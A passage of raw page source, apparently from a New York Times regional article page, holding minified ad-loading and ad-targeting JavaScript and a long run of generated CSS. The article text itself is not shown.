n(n,i){t[o]._Q.push([n,i])}t[o]||(t[o]={init:function(){n("i",arguments)},fetchBids:function(){n("f",arguments)},setDisplayBids:function(){},targetingKeys:function(){return[]},_Q:[]})}("apstag",window),D("//c.amazon-adsystem.com/aax2/apstag.js",function(){window.apstag||console.warn("A9 not loading properly")},function(){A.cmd.push(function(){A.events.publish({name:"BidderError",value:{type:"A9"}})})}),window.apstag.init({pubID:"3030",adServer:"googletag",params:{si_section:i}}),z(o))),m&&D("https://static01.nyt.com/ads/google/adsbygoogle.js",function(){},function(){A.cmd.push(function(){A.events.publish({name:"AdEmpty",value:{type:"AdBlockOn"}})})}),b=!0)},window.AdSlot4=A}()}();
+ AdSlot4.loadScripts({
+ loadMnet: window.NYTD.Abra('medianet_toggle') !== '1_block',
+ loadAmazon: window.NYTD.Abra('amazon_toggle') !== '1_block',
+ section: 'nyregion',
+ pageType: 'art,oak',
+ pageViewId: window.NYTD.PageViewId.current,
+ });
+ (function () { var _f=function(e){var o=performance.navigation&&1===performance.navigation.type;function t(){return window.matchMedia("(max-width: 739px)").matches}function n(e){var n,r,i,d,a,p,u=function(){var e=window.userXhrObject&&""!==window.userXhrObject.responseText&&JSON.parse(window.userXhrObject.responseText).data||null,o=null;return e&&e.user&&e.user.userInfo&&(o=e.user.userInfo.demographics),o}();return u?(r=e,d=(n=u)&&n.emailSubscriptions,(a=n&&n.bundleSubscriptions)&&r&&(r.sub="reg",d&&d.length&&(r.em=d.toString().toLowerCase()),n.wat&&(r.wat=n.wat.toLowerCase()),a&&a.length&&a[0].bundle&&(i=a[0],r.sub=i.bundle.toLowerCase(),i.source&&(r.subsrc=i.source.toLowerCase()),i.promotion&&(r.subprm=i.promotion),i.in_grace&&(r.grace=i.in_grace.toString()))),e=r):e.sub="anon",t()?(e.prop="mnyt",e.plat="mweb",e.ver="mvi"):(e.prop="nyt",e.plat="web",e.ver="vi"),"hp"===e.typ&&(document.referrer&&(e.topref=document.referrer),o&&(e.refresh="manual")),e.abra_dfp=(p=document.documentElement.getAttribute("data-nyt-ab"))?p.split(" ").reduce(function(e,o){var t=o.split("="),n=t[0].toLowerCase(),r=t[1];return(n.indexOf("dfp")>-1||n.indexOf("redbird")>-1)&&e.push(n+"_"+r),e},[]):"",e.page_view_id=window.NYTD.PageViewId&&window.NYTD.PageViewId.current,e}var r=e||{},i=r.adTargeting||{},d=r.adUnitPath||"/29390238/nyt/homepage",a=r.offset||400,p=r.hideTopAd||t(),u=r.lockdownAds||!1,s=r.sizeMapping||{top:[[970,["fluid",[728,90],[970,90],[970,250],[1605,300]]],[728,["fluid",[728,90],[1605,300]]],[0,["fluid",[300,250],[300,420]]]],fp1:[[0,[195,250]]],fp2:[[0,[195,250]]],fp3:[[0,[195,250]]],interstitial:[[0,[[1,1],[640,480]]]],mktg:[[1020,[300,250]],[0,[]]],pencil:[[728,[[336,46]],[0,[]]]],pp_edpick:[[0,["fluid"]]],pp_morein:[[0,["fluid"],[210,218]]],ribbon:[[0,["fluid"]]],sponsor:[[765,[150,50]],[0,[320,25]]],supplemental:[[1020,[[300,250],[300,600]]],[0,[]]],default:[[970,["fluid",[728,90],[970,90],[970,250],[1605,300]]],[728,["fluid",[728,90],[300,250],[1605,300]]],[0,["fluid",[300,250],[300,420]]]]},l=r.dfpToggleName||"dfp_home_toggle";window.AdSlot4=window.AdSlot4||{},window.AdSlot4.cmd=window.AdSlot4.cmd||[],window.AdSlot4.cmd.push(function(){window.AdSlot4.init({adTargeting:n(i),adUnitPath:d,sizeMapping:s,offset:a,haltDFP:"1_block"===window.NYTD.Abra(l),hideTopAd:p,lockdownAds:u}),window.NYTD.Abra.reportExposure("dfp_adslot4v2")})};;_f.apply(null, [{"adTargeting":{"edn":"us","sov":"3","test":"projectvi","ver":"vi","hasVideo":false,"template":"article","als_test":"1565027040168","prop":"nyt","plat":"web","brandsensitive":"false","org":"policedepartmentnyc","geo":"newyorkcity","des":"juveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","auth":"aliwatkins,josephgoldstein","coll":"newyork,usnews,technology,techandsociety","artlen":"medium","ledemedsz":"none","typ":"art,oak","section":"nyregion","si_section":"nyregion","id":"100000006583622","pt":"nt10,nt15,nt16,nt18,nt3,nt4,nt9","gscat":"neg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education"},"adUnitPath":"/29390238/nyt/nyregion/","dfpToggleName":"dfp_story_toggle"}]); })();
+ })();</script><script data-rh="true" id="als-svc">var alsVariant = window.NYTD.Abra('DFP_als');
+ if (alsVariant != null && alsVariant.match(/(0_control|1_als)/)) {
+ window.NYTD.Abra.reportExposure('DFP_als');
+ }
+ if (window.NYTD.Abra('DFP_als') === '1_als') {
+ (function () { var _f=function(){window.googletag=window.googletag||{},googletag.cmd=googletag.cmd||[];var e=new XMLHttpRequest,t="prd"===window.vi.env.ENVIRONMENT?"als-svc.nytimes.com":"als-svc.dev.nytimes.com",n=document.querySelector('[name="nyt_uri"]'),o=null==n?"":encodeURIComponent(n.content),l=document.querySelector('[name="template"]'),s=document.querySelector('[name="prop"]'),a=document.querySelector('[name="plat"]'),i=null==l||null==l.content?"":l.content,c=null==s||null==s.content?"nyt":s.content,r=null==a||null==a.content?"web":a.content;window.innerWidth<740&&(c="mnyt",r="mweb"),"/"===location.pathname&&(o=encodeURIComponent("https://www.nytimes.com/pages/index.html"));var d=window.localStorage.getItem("als_test_clientside");void 0!==d&&window.googletag.cmd.push(function(){googletag.pubads().setTargeting("als_test_clientside",d)}),e.open("GET","https://"+t+"/als?uri="+o+"&typ="+i+"&prop="+c+"&plat="+r),e.withCredentials=!0,e.send(),e.onreadystatechange=function(){if(4===e.readyState)if(200===e.status){var t=JSON.parse(e.responseText);window.googletag.cmd.push(function(){void 0!==t.als_test_clientside&&(googletag.pubads().setTargeting("als_test_clientside",t.als_test_clientside),window.localStorage.setItem("als_test_clientside","ls-"+t.als_test_clientside)),Object.keys(t).forEach(function(e){"User"===e&&void 0!==t[e]&&window.localStorage.setItem("UTS_User",JSON.stringify(t[e]))})})}else{console.error("Error "+e.responseText);(window.dataLayer=window.dataLayer||[]).push({event:"impression",module:{name:"timing",context:"script-load",label:"alsService-als-error"}})}}};;_f.apply(null, []); })();
+ }
+ </script>
+ <link rel="stylesheet" href="/vi-assets/static-assets/global-42db6c8821fec0e2b3837b2ea2ece8fe.css" />
+ <style>.css-1dv1kvn{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.css-v89234{overflow:hidden;height:100%;}.css-nuvmzp{font-size:14.25px;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;text-transform:uppercase;-webkit-letter-spacing:0.7px;-moz-letter-spacing:0.7px;-ms-letter-spacing:0.7px;letter-spacing:0.7px;line-height:19px;}.css-nuvmzp:hover{-webkit-text-decoration:underline;text-decoration:underline;}.css-1gz70xg{border-left:1px solid #ccc;color:#326891;height:12px;margin-left:8px;padding-left:8px;}.css-9e9ivx{display:none;font-size:10px;margin-left:auto;text-transform:uppercase;}.hasLinks .css-9e9ivx{display:block;}@media (min-width:740px){.hasLinks .css-9e9ivx{margin:none;position:absolute;right:20px;}}@media (min-width:1024px){.hasLinks .css-9e9ivx{display:none;}}.css-2bwtzy{display:inline-block;padding:6px 4px 4px;margin-bottom:12px;font-size:12px;border-radius:3px;-webkit-transition:background 0.6s ease;transition:background 0.6s ease;}.css-2bwtzy:hover{background-color:#f7f7f7;}.css-1hyfx7x{display:none;}.css-6n7j50{display:inline;}.css-1kj7lfb{display:none;}@media (min-width:1024px){.css-1kj7lfb{display:inline-block;margin-right:7px;}}.css-10m9xeu{display:block;width:16px;height:16px;}.css-vz7hjd{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.css-1fe7a5q{display:inline-block;height:16px;vertical-align:sub;width:16px;}.css-1rn5q1r{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;background:#fff;display:inline-block;left:44px;text-transform:uppercase;-webkit-transition:none;transition:none;}.css-1rn5q1r:active,.css-1rn5q1r:focus{-webkit-clip:auto;clip:auto;overflow:visible;width:auto;height:auto;}.css-1rn5q1r::-moz-focus-inner{padding:0;border:0;}.css-1rn5q1r:-moz-focusring{outline:1px dotted;}.css-1rn5q1r:disabled,.css-1rn5q1r.disabled{opacity:0.5;cursor:default;}.css-1rn5q1r:active,.css-1rn5q1r.active{background-color:#f7f7f7;}@media (min-width:740px){.css-1rn5q1r:hover{background-color:#f7f7f7;}}.css-1rn5q1r:focus{margin-top:3px;padding:8px 8px 6px;}@media (min-width:1024px){.css-1rn5q1r{left:112px;}}.css-10488qs{display:none;}@media (min-width:1024px){.css-10488qs{display:inline-block;position:relative;}}.css-1iruc8t{list-style:none;margin:0;padding:0;}.css-1ropbjl::before{background-color:$white;border-bottom:1px solid #e2e2e2;border-top:2px solid #e2e2e2;content:'';display:block;height:1px;margin-top:0;}@media (min-width:1150px){.css-1ropbjl{margin:0 auto;max-width:1200px;padding:0 3% 9px;}}.NYTApp .css-1ropbjl{display:none;}@media print{.css-1ropbjl{display:none;}}.css-uw59u{padding:0 20px;}@media (min-width:740px){.css-uw59u{padding:0 3%;}}@media (min-width:1150px){.css-uw59u{padding:0;}}.css-jxzr5i{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-flow:row;-ms-flex-flow:row;flex-flow:row;}.css-oylsik{display:block;height:44px;vertical-align:middle;width:184px;}.css-1otr2jl{margin:18px 0 0 auto;}.css-1c8n994{color:#6288a5;font-family:nyt-franklin;font-size:11px;font-style:normal;font-weight:400;line-height:11px;-webkit-text-decoration:none;text-decoration:none;}.css-qtw155{display:block;}@media (min-width:1150px){.css-qtw155{display:none;}}.css-v0l3hm{display:none;}@media (min-width:1150px){.css-v0l3hm{display:block;}}.css-g4gku8{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-top:10px;min-width:600px;}.css-1rr4qq7{-webkit-flex:1;-ms-flex:1;flex:1;}.css-6xhk3s{border-left:1px solid #e2e2e2;-webkit-flex:1;-ms-flex:1;flex:1;padding-left:15px;}.css-rxqrcl{color:#333;font-size:13px;font-weight:700;font-family:nyt-franklin;height:25px;line-height:15px;margin:0;text-transform:uppercase;width:150px;}.css-tj0ten{margin-bottom:5px;white-space:nowrap;}.css-tj0ten:last-child{margin-bottom:10px;}.css-ist4u3.desktop{display:none;}@media (min-width:740px){.css-ist4u3.desktop{display:block;}.css-ist4u3.smartphone{display:none;}}.css-1gprdgz{list-style:none;margin:0;padding:0;-webkit-columns:2;columns:2;padding:0 0 15px;}.css-10t7hia{height:34px;line-height:34px;list-style-type:none;}.css-10t7hia.desktop{display:none;}@media (min-width:740px){.css-10t7hia.desktop{display:block;}.css-10t7hia.smartphone{display:none;}}.css-mzqdl{color:#333;display:block;font-family:nyt-franklin;font-size:15px;font-weight:500;height:34px;line-height:34px;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;}.css-kwpx34{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:14px;font-weight:500;height:23px;line-height:16px;}.css-kwpx34:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-kwpx34{color:#fff;}.css-1k2cjfc{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:16px;font-weight:700;height:25px;line-height:15px;padding-bottom:0;}.css-1k2cjfc:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-1k2cjfc{color:#fff;}.css-1vhk1ks{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:11px;font-weight:500;height:23px;line-height:21px;}.css-1vhk1ks:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-1vhk1ks{color:#fff;}.css-6td9kr{list-style:none;margin:0;padding:0;border-top:1px solid #e2e2e2;margin-top:2px;padding-top:10px;}.css-r5ic95{display:inline-block;height:13px;width:13px;margin-right:7px;vertical-align:middle;}.css-15uy5yv{border-top:1px solid #ebebeb;padding-top:9px;}.css-1p8nkc0{color:#999;font-family:nyt-franklin,helvetica,arial,sans-serif;padding:10px 0;-webkit-text-decoration:none;text-decoration:none;white-space:nowrap;}.css-1p8nkc0:hover{-webkit-text-decoration:underline;text-decoration:underline;}@-webkit-keyframes animation-5j8bii{from{opacity:0;}to{opacity:1;}}@keyframes animation-5j8bii{from{opacity:0;}to{opacity:1;}}@-webkit-keyframes animation-1am0aiv{from{visibility:visible;opacity:1;}to{visibility:visible;opacity:0;}}@keyframes animation-1am0aiv{from{visibility:visible;opacity:1;}to{visibility:visible;opacity:0;}}.css-1g7m0tk{color:#326891;}.css-1g7m0tk:visited{color:#326891;}.css-d8bdto{color:#999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:17px;margin-bottom:5px;}@media print{.css-d8bdto{display:none;}}.css-y8aj3r{padding:0;}.css-60hakz{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-60hakz a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-60hakz:nth-of-type(3),.css-60hakz:nth-of-type(4){display:none;}}.css-60hakz:last-of-type{margin-right:0;}.css-i29ckm{width:calc(100% - 40px);max-width:600px;margin:1.5rem auto 2rem;}@media (min-width:1440px){.css-i29ckm{width:600px;max-width:600px;}}@media (min-width:600px){.css-i29ckm{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}@media (max-width:600px){.css-i29ckm .facebook,.css-i29ckm .twitter,.css-i29ckm .email{display:inline-block;}}.css-acwcvw{margin-bottom:1rem;}.css-1baulvz{display:inline-block;}@-webkit-keyframes animation-f8wsfj{0%{opacity:1;}50%{opacity:0;}100%{opacity:0;}}@keyframes animation-f8wsfj{0%{opacity:1;}50%{opacity:0;}100%{opacity:0;}}@-webkit-keyframes animation-mhvv8m{0%{opacity:0;}50%{opacity:0;}100%{opacity:1;}}@keyframes animation-mhvv8m{0%{opacity:0;}50%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes animation-m6999o{100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;}}@keyframes animation-m6999o{100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;}}.css-i9gxme{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}@-webkit-keyframes animation-1m9j9gf{from{background-color:#f7f7f5;}to{background-color:transparent;}}@keyframes animation-1m9j9gf{from{background-color:#f7f7f5;}to{background-color:transparent;}}.css-1sy8kpn{display:none;}@media (min-width:765px){.css-1sy8kpn{background-color:#f7f7f7;border-bottom:1px solid #f3f3f3;display:block;padding-bottom:15px;padding-top:15px;margin:0;min-height:90px;}}@media print{.css-1sy8kpn{display:none;}}.css-19vbshk{color:#ccc;display:none;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.5625rem;font-weight:300;-webkit-letter-spacing:0.05rem;-moz-letter-spacing:0.05rem;-ms-letter-spacing:0.05rem;letter-spacing:0.05rem;line-height:0.5625rem;margin-left:auto;text-align:center;text-transform:uppercase;}@media (min-width:600px){.css-19vbshk{display:inline-block;}}.css-19vbshk p{margin-bottom:auto;margin-right:7px;margin-top:auto;text-transform:none;}.css-l9onyx{color:#ccc;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.5625rem;font-weight:300;-webkit-letter-spacing:0.05rem;-moz-letter-spacing:0.05rem;-ms-letter-spacing:0.05rem;letter-spacing:0.05rem;line-height:0.5625rem;margin-bottom:9px;text-align:center;text-transform:uppercase;}.css-79elbk{position:relative;}@-webkit-keyframes animation-1q1yk17{to{width:11px;}}@keyframes animation-1q1yk17{to{width:11px;}}@-webkit-keyframes animation-g7rb99{0%{-webkit-transform:scale(1) rotate(0);-ms-transform:scale(1) rotate(0);transform:scale(1) rotate(0);}100%{-webkit-transform:scale(1.05) rotate(-90deg);-ms-transform:scale(1.05) rotate(-90deg);transform:scale(1.05) rotate(-90deg);}}@keyframes animation-g7rb99{0%{-webkit-transform:scale(1) rotate(0);-ms-transform:scale(1) rotate(0);transform:scale(1) rotate(0);}100%{-webkit-transform:scale(1.05) rotate(-90deg);-ms-transform:scale(1.05) rotate(-90deg);transform:scale(1.05) rotate(-90deg);}}.css-k008qs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}.sizeSmall .css-bsn42l{width:50%;}@media (min-width:600px){.sizeSmall .css-bsn42l{width:300px;}}@media (min-width:1440px){.sizeSmall .css-bsn42l{width:300px;}}@media (max-width:600px){.sizeSmall .css-bsn42l{width:50%;}}.sizeSmall.sizeSmallNoCaption .css-bsn42l{margin-left:auto;margin-right:auto;}@media (min-width:740px){.sizeSmall.layoutVertical .css-bsn42l{max-width:250px;}}@media (min-width:1024px){.sizeSmall.layoutVertical .css-bsn42l{width:250px;}}@media (max-width:740px){.sizeSmall.layoutVertical .css-bsn42l{max-width:250px;}}@media (min-width:740px){.sizeSmall.layoutHorizontal .css-bsn42l{max-width:300px;}}@media (min-width:1024px){.sizeSmall.layoutHorizontal .css-bsn42l{width:300px;}}@media (max-width:740px){.sizeSmall.layoutHorizontal .css-bsn42l{max-width:300px;}}@media (min-width:600px){.sizeMedium.layoutVertical.verticalVideo .css-bsn42l{width:310px;}}.css-11cwn6f{width:100%;vertical-align:top;}.css-11cwn6f img{width:100%;vertical-align:top;}@-webkit-keyframes animation-ghw4n2{0%{opacity:0;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);}}@keyframes animation-ghw4n2{0%{opacity:0;-webkit-transform:translateY(100px);-ms-transform:translateY(100px);transform:translateY(100px);}100%{opacity:1;-webkit-transform:translateY(0);-ms-transform:translateY(0);transform:translateY(0);}}@-webkit-keyframes animation-1c5cfvc{0%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}50%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}75%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}}@keyframes animation-1c5cfvc{0%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}50%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}75%{-webkit-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);transform:translate(0px,0px) scale(1,0.95) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,1) translate(0px,0px);transform:translate(0px,0px) scale(1,1) translate(0px,0px);}}@-webkit-keyframes animation-htgkrt{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}50%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}75%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}}@keyframes animation-htgkrt{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}25%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}50%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}75%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);transform:translate(0px,0px) translate(0px,0px) translate(0px,5px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);transform:translate(0px,0px) translate(0px,0px) translate(0px,0px);}}@-webkit-keyframes animation-e64et{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}25%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}75%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}}@keyframes animation-e64et{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}25%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,1) translate(-11.329999923706055px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}75%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.95) translate(-11.329999923706055px,0px);}}@-webkit-keyframes animation-9zaqp9{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}25%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}75%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}}@keyframes animation-9zaqp9{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}25%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,0px);}50%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}75%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,5px);}}@-webkit-keyframes animation-16fq4rz{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}25%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) 